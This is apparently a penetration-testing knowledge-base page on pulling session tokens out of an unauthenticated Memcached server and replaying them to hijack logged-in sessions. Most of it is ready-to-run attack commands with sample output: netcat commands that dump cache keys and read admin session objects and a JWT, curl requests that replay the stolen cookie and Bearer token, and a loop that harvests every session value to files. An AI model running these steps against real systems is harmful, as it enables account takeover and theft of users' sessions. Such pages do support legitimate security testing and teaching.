# Memcached Session Token Extraction

- **URL:** https://hackindex.io/services/memcached/exploitation/memcached-session-token-extraction
- **Path:** Memcached > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/memcached/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-03-17

Web applications that use Memcached as a session store write the full session object to the cache on login and read it back on each request. If the cache is reachable without authentication, those session objects are readable by any client. A valid session token retrieved from cache can be replayed directly into the application to hijack an active session without knowing the user's password.

This page focuses specifically on finding and extracting session tokens. It assumes unauthenticated read access is confirmed and you have a list of keys from the cache.

## Identify Session Keys

Session keys follow framework-specific naming conventions. Common prefixes to grep for:

- `sess:` or `session:` (PHP, general)
- `sid:` or `PHPSESSID:` (PHP)
- `auth:` or `token:` (custom auth layers)
- `jwt:` or `bearer:` (API tokens)

```bash
echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211 | grep -iE 'sess|session|sid|auth|token|jwt'
# key=sess:f3a9c1d8e2b047 exp=1711605200 la=1711601600 cas=91022 fetch=yes cls=3 size=612
# key=session:8d2f4a1b3c exp=-1 la=1711601500 cas=88311 fetch=yes cls=3 size=480
# key=auth:token:admin exp=1711605800 la=1711602100 cas=92144 fetch=yes cls=2 size=64
```

Keys with `fetch=yes` are actively being read by the application, which means these sessions are live. Prioritise those over keys that have not been accessed recently.

## Read Session Object Values

Retrieve the session objects for the highest-priority keys:

```bash
echo -e "get sess:f3a9c1d8e2b047\r" | nc -q2 $TARGET_IP 11211
# VALUE sess:f3a9c1d8e2b047 0 612
# a:6:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";s:5:"email";s:20:"admin@target.local";s:5:"token";s:40:"9f3a21c4d8e3b07562a1c9f4d8e3b07562a1c9f4";s:9:"logged_in";b:1;}
# END
```

This is a PHP serialized session for an admin user. The `token` value is what the application uses to validate the session cookie.

## Identify the Cookie Name

To replay a session token you need to know the cookie name the application expects. If you have any access to the application in a browser, check the cookies set on the login page. Common names are `PHPSESSID`, `session`, `sid`, `auth_token`, and `remember_token`.

If you have no browser access, check the key naming convention in the cache. A key named `sess:TOKEN` suggests the application constructs the cache key as `sess:` + the cookie value, meaning the cookie value is `f3a9c1d8e2b047` directly.

## Replay the Session Token

Set the extracted token as a cookie in your browser or in a curl request:

```bash
curl -s -b "PHPSESSID=f3a9c1d8e2b047" http://$TARGET_IP/ -I
# HTTP/1.1 200 OK
# Set-Cookie: PHPSESSID=f3a9c1d8e2b047; path=/
# X-User: admin
```

A 200 response with user-specific headers or a redirect to an authenticated page confirms the session hijack succeeded. If the application returns a redirect to the login page, the session may have expired or the token format differs from what the cookie expects.

## Handle JWT and Bearer Tokens

Some applications cache JWT tokens or API bearer tokens rather than session identifiers. A value starting with `eyJ` is a base64-encoded JWT:

```bash
echo -e "get auth:token:admin\r" | nc -q2 $TARGET_IP 11211
# VALUE auth:token:admin 0 64
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SIGNATURE
# END
```

Replay a JWT as an Authorization header:

```bash
curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SIGNATURE" http://$TARGET_IP/api/admin
```

## Collect All Active Session Tokens

To sweep all session keys and extract tokens in one pass:

```bash
echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211 | grep -iE 'sess|session' | awk -F'key=' '{print $2}' | awk '{print $1}' > /tmp/session-keys.txt
while read key; do echo -e "get $key\r" | nc -q2 $TARGET_IP 11211; done < /tmp/session-keys.txt > /tmp/session-values.txt
```

Review `/tmp/session-values.txt` for admin or privileged role identifiers before choosing which token to replay.

## References

- [Memcached: Protocol Commands](https://github.com/memcached/memcached/wiki/Commands) - get and lru_crawler metadump reference